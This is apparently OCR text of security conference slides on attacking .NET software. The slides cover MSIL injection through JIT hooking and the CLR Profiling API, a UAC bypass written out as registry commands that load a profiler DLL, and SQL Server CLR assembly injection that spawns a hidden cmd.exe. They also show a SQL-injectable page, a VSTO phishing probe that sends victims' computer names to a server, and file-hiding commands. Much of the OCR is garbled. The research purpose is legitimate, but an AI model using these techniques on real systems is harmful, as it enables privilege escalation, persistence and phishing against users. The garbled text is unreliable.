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Primer

e Common Language Runtime (CLR)
* Metadata

* Managed Code — MSIL bytecode



Metadata and the PE File Structure
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Template Reasults — EXE. bt

struct IMAGE_D0S_HEADER DosHeader

struct IMAGE_DOS_STUE DosStub

struct IMAGE_NT_HEADERS NtHeader

struct TMaGE_SECTION_HEADER SectionHeaders[3]

struct TMAGE_SECTION_DATA Section[d] . text
struct IMAGE_SECTION_DATA Section[i] rIre
struct IMAGE_SECTION_DATA Section[2] reloe
struct IMAGE_IMFORT_DESCEIFTOE ImpertDezcriptor mzooree, 411

struct BASE_RELOCATION_TAELE ReleocTable



Metadata Table

Metadata Table:

Def Table
Ref Table

Pointer Table

H ed p 40 - N 41 - NestedClass 12 - GenericParam
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Metadata Tokens

Eind Find Next

.method /*B60B0881=/ private hidebysig static
void HMain{string[] args) cil managed

.entrypoint
/! Code size 17 (8x11)

.maxstack 8
IL_@@@@: ldstr "hello HITB" /* 700080061 =/

IL 8@85: call void [mscorlib/«23080861«/]System.Console/«B1080613=/: WriteLine

IL B@Ba: call string [mscurlih,’*23ﬂﬂﬂﬂm*I]System.cunsule,’*mﬁﬂﬂﬂ13*£::ReadLin
IL_Beef: pop
IL_8@18: ret

¥ // end of method Program::Hain




Managed code

Write code

Find Find Mext

.method private hidebysig static void

-entrypoint
Code size
-maxstack 8
IL_g888: ldstr
IL_@8e5: call
IL_f88da: call
IL 888f: pop
IL_8818: ret

17 (8z11)

“"hello HITB"

void [mscorlib]System.Console::WritelLine{string)
string [mscorlib]System.Console::Readline()

Program: :Hain

MSIL

Main{string[] args) cil managed

()

CLR load

Machine code

run
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MSIL injection ®

* CLR Hajacking (plan A) * Profiling api injection
* Hook compileMethod * Intercept JIT
* Replace IL code * Replace IL code
e Reset pre-JITted e Return new IL code to JIT

* CLR Hajacking (plan B)

* Install trampoline
* Define a dynamic method
* Pass parameters

* Load assembly via calling
customize code



CLR Hajacking (plan A) "

* Locate injection by GetMethod() * Hook compileMethod

public MethodInfo GetMethod(
string name, NTSTATUS ntStatus = LhInstallHook(

BindingFlags bindingAttr (PVOID&)ICorJitCompiler::s pfnComplieMethod
) , &(PVOID&)CInjection: :compileMethod
, NULL
, &s hHookCompileMethod

)



CLR Hajacking (plan A)

* Replace IL code

void MethodDesc: :Reset()
{

ClearFlagsOnUpdate();

if (HasPrecode()){
GetPrecode()->Reset();

}

else {

_ASSERTE (GetLoaderModule()-
>IsReflection());
InterlockedUpdateFlags2(enum_flag2 Ha
sStableEntryPoint |

enum_flag2 HasPrecode, FALSE);
*GetAddrOfSlotUnchecked() =
GetTemporaryEntryPoint();

¥
_ASSERTE( !HasNativeCode());

}

* Reset pre-JITted

std: :map< CORINFO _METHOD HANDLE,
ILCodeBuffer>::iterator iter =
s_mpILBuffers.find((CORINFO METHOD HANDLE)pMeth
odDesc);

if( iter != s mpILBuffers.end() ) {
tILCodeBuffer = iter->second;
pCorMethodInfo->ILCode = tILCodeBuffer.pBuffer;
pCorMethodInfo->ILCodeSize =
tILCodeBuffer.dwSize;

}

CorJitResult result = pCorJlitCompiler-
>compileMethod( pJitInfo, pCorMethodInfo,
nFlags, pEntryAddress, pSizeOfCode);

return result;



CLR Hajacking (plan B) ®

* |nstall a trampoline at the beginning of the code. This trampoline will
call a dynamically defined method.

e Define a dynamic method that will have a specific method signature.

e Construct an array of objects that will contain the parameters passed
to the method.

* Invoke a dispatcher function which will load our Assembly and will
finally call our code by passing a handle to the original method and an
array of objects representing the method parameters.

* Repair the Assembly



MSIL injection

* Profiling API
* JITCompilationStarted

* GetlLFunctionBody and
SetlLFunctionBody

e Adjustment program

Profiled process

Program
{provided by
profiler user) Profiler user
interface
(provided by
CLR profiler author)

I
ICarProfilerCallback T

l ICarProfilerlnfo

L t

Profiler DLL IPC mechanism
(provided by = (for example, log
profiler author) file, named pipe)



MSIL injection

JITCompilationStarted

HRESULT JITCompilationStarted(
[in] FunctionID functionld,
[in] BOOL fIsSafeToBlock);



MSIL injection
GetlLFunctionBody:

HRESULT GetILFunctionBody(

(in] ModuleID moduleld,

'in] mdMethodDef methodId,
‘out] LPCBYTE *ppMethodHeader,
‘out] ULONG *pcbMethodSize);




MSIL injection

SetlLFunctionBody

HRESULT SetILFunctionBody (

(in] ModuleID moduleld,

'in] mdMethodDef methodid,

'in] LPCBYTE pbNewILMethodHeader);




MSIL injection

e Restore the runtime

e Header
e Codesize
* Set header

* Status
e Stack
* Heap
* Parameters
e Return address



MSIL injection
Add Profiler :

set COR_PROFILER

set COR_PROFILER={32E2F4DA-1BEA-47ea-88F9-
CS5DAF691C94A}
set COR_PROFILER="MyProfiler”

COR_ENABLE PROFILING



MSIL injection

Injection
position

Entry

Essence

Injection

Scope

Hook

CompileMethod Nl

Before JIT

Hook compileMethod Calli trampoline

Modify itself
dynamically

Modify
compileMethod

Calli to dispatcher
function

Invoking the user
defined code

modify IL code itself / .

invoke an arbitrary

couldn't add new .
function

data

Profiling API

JITCompilationStarted

Profiling monitor

SetlLFunctionBody

modify program entry




UAC bypass

 Set env var
* Initialize CLR
* Load profiler dll

* Bypass UAC

27 Event Properties
ent P

dule
nitdll.dll
Kei
KemelB.
cirdl
cirdl
cirdl
cirdl
clrdl
clrdl
clrdl
clrdl
clrdl
clrdl
clrdl
cirdl
cirdl
cirdl
cir.dll

[E I A

1]

T | | ¥ | [JnextHighlighted

Sald3d
472

Properties...

Copy All




UAC bypass

Set a env var

COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\hitb.dll

(@) 260 CERT

PoC by powershell

REG ADD
"HKCUSoftwareClassesCLSID{FFFFFFFF-FFFF-
FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve
/t

REG_EXPAND SZ /d "C:\hitb.d11l" /f

REG ADD "HKCUEnvironment" /v
"COR_PROFILER" /t

REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-
FFFFFFFFFFFF}" /f

REG ADD "HKCUEnvironment" /v
"COR_ENABLE_PROFILING" /t

REG_SZ /d "1" /f

mmc gpedit.msc



UAC bypass

> ]

MR SEE NENV TR EED) WINTER) =8H)
™ a » |

PS E:\Users\51021\Dasktop\bypassuac>




SQL Server injection

CREATE ASSEMBLY [demo] AUTHORIZATION [dbo]
FROM [0x4D5A90000...] WITH PERMISSION SET = UNSAFE;

CREATE PROCEDURE [dbo].[WirteFile]
AS EXTERNAL NAME [demo].[StoredProcedures].[SQLPcd]

EXEC [dbo].[WirteFile]



SQL Server injection

* Create SQL Server project via VS
* Create a custom stored procedure via CLR

e Attack SQL Server lead to load arbitrary dll



. <
SQL Server injection
CREATE ASSEMBLY [demo] AUTHORIZATION [dbo]
FROM [ ] WITH =

CREATE PROCEDURE [dbo].| ]
AS EXTERNAL NAME [demo].| 1.

EXEC [dbo].| ]



SQL Server injection

I' o @ o o o o +

System.Diagnostics.Process process = new System.Diagnostics.Process(); «

process.Startinfo.WindowStyle = System.Diagnostics.ProcessWindowStyle Hidden;

e = "cmd.exe”; «




SQL Server injection

L

« Projects » demo » demo » bin » Debug » demo S :
B] BEEAE demo"(1 £HE)

4 37 demo
| DacMetadata.xml # Properties
% model.sql 4 a5/
e ——— A =8 System

| model.xml =8 System.Data

|| Originxml 2 / =B System.Xml

0
ALTER ASSEMBLY
ADD FILE FR

T



SQL Server injection

CREATE PROCEDURE [dbo].| ]
AS EXTERNAL NAME [demo].| 1.1

HHHHH em. Data. 5qlClient;

EXEC; [abOTE ]

FPCTOSOL




SQL Server injection

* Restrictions
* CLR support enabled on SQL Server (could turn on by sql)

sp_configure 'clr enable’, 1;go;reconfigure;go

alter database [dbname] set trustworthy on

e Exec privilege (could be elevated by dba)

* Significance
* xp_cmd_shell can’t be restore
* New way to elevation of dba privilege
* Bypass waf and AV in real world
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Activities  “! Visual Studio Code ~ Sun 20:03

client.py - Untitled (Workspace) - Visual Studio Code

File Edit Selection View Go Debug
@ EXPLORER

4 OPEN EDITORS

@ client.py X

,O & salinpy def SocketClient(HOST):
= akxt PORT = 54552
= I s = socket.socket(socket.AF INET, socket.SOCK STREAM)
¥ i clencoy s.connect( (HOST, PORT) )
4 UNTITLED (WORKSPACE) g X

4 sqlin date = s.recv(1000)
» .vscode rint date

S atxt cmd = raw_input| ")
['I 2 cli s.send(cmd)
; @ client.py
= 2 1 continue
Cd n.| -
sqlin.py if name__ == " main “:

SocketClient(raw input("Input Host IP:"))

TERMINAL

mjs@ubuntu:~/Desk 1ins i

iﬂ;

©0A0 Python27.14

90EmeB

ERED #EH)

WebSite2 - Microsoft Visual Studio Yo (
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§ © WebSite2 ~ *#3 Default - @, Page_Load(object sender, EventArgs e) -
] ¢ a = Request[“sql”]: +
@;5 str = “select® from spt_values where type= ~“+at”’ ": -
H fj
2 . &
SqlDatalfdapter sqladapter = new SqlDataldapter (str, sqlconn); 4
H
a sqladapter. Fill (sqldataset, “spt_values’):
this.Datalistl.DataSource = sqldataset. Tables[0];
this.Datalistl. DataBind () ;
}
L}
Bt
oz
o=
-
100% ~ 4 »
&t > ax
SREHER©S): @ b =
418 0x14dc BIBY, SREIEN 259 (©x103) 0 a

18FF “[4020] iexplore exe” BB, REHEN -1 OxfEEEEEEE) o
127 “ [3864] iisexpress. exe” 2B, WEHEN 0 ©x0)e
F2FF “ [3864] iisexpress. exe: IEFEIREE” EiBL, REEA 0 ©x0)e



Learn the new by restudying the old



VSTO Attack Vectors

e VSTO Development

 VSTO Weak points



VSTO Attack Vectors
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VSTO Attack Vectors

XK RSNE) WA B[IR)

BEP) S38) FEAM) D) TAM ISUS) 00 HESH)
P |Debug = 1% Initislize) -
SRR
TIBR

stea. Text

tex. Windows, Fornz

#H®| “WordDocument11”
WordDocumentll
4l Properties
a
a3

public partial clasz
f
1

VordDocumentll.docx

ThisDocument.cs

privats void Thislocumsnt _Stactup

ordDocument1l TemporaryXey.pfx

et zender,
“» Show("E

te void ThizDocuns:

wtdovn (chjec




VSTO Attack Vectors '

eed to be solved:

Microsoft

AERERTS

EEREE

Certificate
Additional File

BOMW)  ®RYH)

VSMacros *

WindowsF
Windows| 2 MicrosoftOffice.Tool

(%] MicrosoftOffice.To
WindowsF 2 MicrosoftOffice.Too!
WordAdd =] Microsoft.Office.Tools.Word.vd.0.Utili...

WindowsF

Vord WordDoat VordDocumentil.dil
ols. Applica WeordDoa WordDocumentll.dll.manifest

WordDoa WordDocumentll.docx

WordDoa @) WordDocumentil.pdb

. WordDocumentllvsto

WerdDoct

WerdDoct




VSTO Attack Vectors ©

PS C:\lsers LS attrib /9

Displays or changes file attributes.

ATTRIB [+R | -R] [+& | -&] [+5 | -8 [+H | -H] [+0 | -0] [+1 | -1 [+P | -R] [+U | -]
[drive:][path][filenamﬂ] [/s [/D1] [/]

+ Sets an attribute.

-  (lears an attribute.

E  Eead-only file attribute

& Archive file attribute.

5 System file attribute.

H Hidden file attribute.

0 Offline attribute.

I Not content indexed file attribute

¥ Ho scrub file attribute

¥V Integrity attribute.

P Pinned attribute.

U  Tnpinned attribute

[drive:][path] [filename]
cpecifies a file or files for attrib to process

/S Processes matching files in the current folder
and all subfolders.

/D Processes folders as well

/L Work on the attributes of the Symbolic Link wersus
the target of the Symbolic Link

attrib +s +a +h +r document



VSTO weakness
Documentation phishing

Persistent backdoor



VSTO phishing

P& R E

Macro 59.59%
Vulnerabilities exploit 36%
Feature and others 5%
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VSTO phishing

In real world
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VSTO phishing

Set up a probe

public partial clasz ThizDocument

e wold ThisDocument Startup(object

string url = “hitp:/ "/Thiz 1z a security re ject. We just collect your computer name as a logo. It has no effect on
try
I
L
BttpWetRequest = (HttpWebRequest ) WebReques
ethod .

mze whResponze = (HitpWeb

HttpWeb

1
I

catch (Exception




VSTO phishing
Result for phishing
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P/1.1" 404 647 *-* *-*
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HTTP/1.1* 404 647 *-* *-®
16 - - [9/0ct/2017:10:03:21 +0800] “GET /WIN
TP/1.1" 404 647 *-* *-*
71 - - [9/0ct/2017:16:12:21 +0800] *GET /DESKTI
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VSTO phishing
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VSTO phishing ®

* Macro phishing * \VSTO phishing with hidden

e 11%-14% success

* DDE phishing

* Nearly 30% success



VSTO weakness
VSTO

C
d

_oading:
necks the registry

oplication loads VSTOEE.dII, which loads VSTOLoader.dl|

starts the managed portion of the Visual Studio Tools for
Office runtime

security checks

check for assembly updates

creates a new application domain

loads the VSTO Add-in assembly into the application domain.



VSTO weakness
VSTO Self-mechanism:

* DIl hijacking
* Porfiling injection
* Config hijacking



More vulnerabilities

 NET Framework include CLR
* The C# code will be translate by CLR
* Fuzz the IL code by MSIL injection

* Monitor the .NET application
upstream status to judge
crash/hang or not

MSIL Fuzzer

RT



More vulnerabilities

let dispatchCallback(assemblylLocation: String, argv: Object array) =
if File.Exists(assemblylLocation) then
let callingMethod 4

try
// retrieve the calling method from the stack trace
let stackTrace = new StackTrace()
let frames = stackTrace.GetFrames()
frames.[2].GetMethod()

with _ -> null

// invoke all the monitors, we use "convention over configuration”
let bytes = File.ReadAllBytes(assemblylLocation)
for t in Assembly.load(bytes).GetTypes() do
try
if t.Name.EndsWith("Monitor™) && not t.IsAbstract then
let monitorConstructor =
t.GetConstructor([ |
typeof<MethodBase>;
typeof<Object array>|])
if monitorConstructor <> null then

monitorConstructor.Invoke([|callingMethod; argv|]) |> ignore

with _ > ()

RT



More vulnerabilities
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2
1 version="1.8" encoding="utf-8" t
ch xmlns= H xmlns:xsi="ht org/2001/XMLSchema- e” =
p xsi:schemalocatio 2012/Peach
T

initialState="In

method="Launc

Tpowershell ¥ + M @ ~ [ x

= ]
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PS C:\Users\51021>



Microsoft Windows [RfZN 10.0. 16299, 309]
(c) 2017 Microsoft Corporation. {RegPTEHle

D:\Tool\Peach Fuzz)

[22,-,-] Performing iteration

[*] Fuzzing: TheDataModel.DataElement 0

[*] Mutator: BlobMutatox

Microsoft Windows [HJ)'IZK 10.0. 16299, 309]

#(c) 2017 Microsoft Corporation. {REAFTEIH .

‘D:\Tool\Peach Fuzz>

1[23,-,-] Performing iteration

*] Fuzzing: TheDataModel.DataElement 0

*] Mutator: BlobDWORDS1iderMutator
[icrosoft Vindows [REAS 10.0.16299. 309]

t{c) 2017 Microsoft Corporation. {REGPTEF]e

‘D :\Tool\Peach Fuzz>

4,-,-] Performing iteration

*] Fuzzing: TheDatalodel.DataElement 0

*] Mutator: DataElementRemovelutator
Microsoft Windows [RfAS 10.0. 16299, 309]

(c) 2017 Microsoft Corporation. {REGPTEATHI.

D:\Tool\Peach Fuzz>

25,—,-] Performing iteration

*] Fuzzing: TheDatalodel.DataElement 0

*] Mutator: BlobDWORDS1idexMutator
Pricrosoft Vindows [Rf7AS 10.0. 16299, 309]

{c) 2017 Microsoft Corporation. {REEPTAMA.

D:\Tool\Peach Fuzz>

[26,~,~] Performing iteration

[*] Fuzzing: TheDataModel.DataElement 0

[*] Mutator: BlobMutator

Picrosoft Windows [RfAS 10.0.16299. 309]

{c) 2017 Microsoft Corporation. {REEPTEF] e

D:\Tool\Peach Fuzz>

[27,—,-] Pexforming iteration

[*] Fuzzing: TheDataModel.DataElement 0

[*] Mutator: BlobBitFlipperMutator

Pricrosoft Vindows [RfiAS 10.0. 16299, 309]

{c) 2017 Microsoft Corporation. {REGPTEALF]e

D:\Tool\Peach Fuzz>

L Fllzzing: TheDatalodel. DataElement 0
*] Mutator: BlobMutator

B HREE

;) » Tool » Peach Fuzz

eachFuzzBang.exe.config
eachFuzzBang.pdb
eachLinuxCrashHandler.exe
eachLinuxCrashHandler.exe.config
eachLinuxCrashHandler.pdb
eachMinset.exe
eachMinset.exe.config
eachMinset.pdb
eachNetworkFuzzer.exe
eachNetworkFuzzer.exe.config
eachNetworkFuzzer.pdb
eachValidator.exe
eachValidator.exe.config
eachValidator.pdb
eachXmlGenerator.exe
eachXmlGenerator.exe.config
eachXmlGenerator.pdb
enci.SshNet.dll

arpPcap.dll
perSocket.Common.dll
perSocket.Common.pdb
perSocket.SocketBase.dll
perSocket.SocketBase.pdb
perWebSocket.dll
perWebSocket.pdb

Q

Loft.Office.Tools.Word.v4.0.Utilities.xml
boft.VisualStudio. Tools.Office.Runtime.dl|

Documentd.dll
Documentd.dll.ma
Documentd.docx
Document9.pdb
Document9.vsto
Document10.dll
Document10.dllm
Document10.pdb
Document10.wvsto

Document101.do:

&’ Microsoft Word

Microsoft Word Ef£LET/E
&, Windows [EER Microsoft {85195,
e
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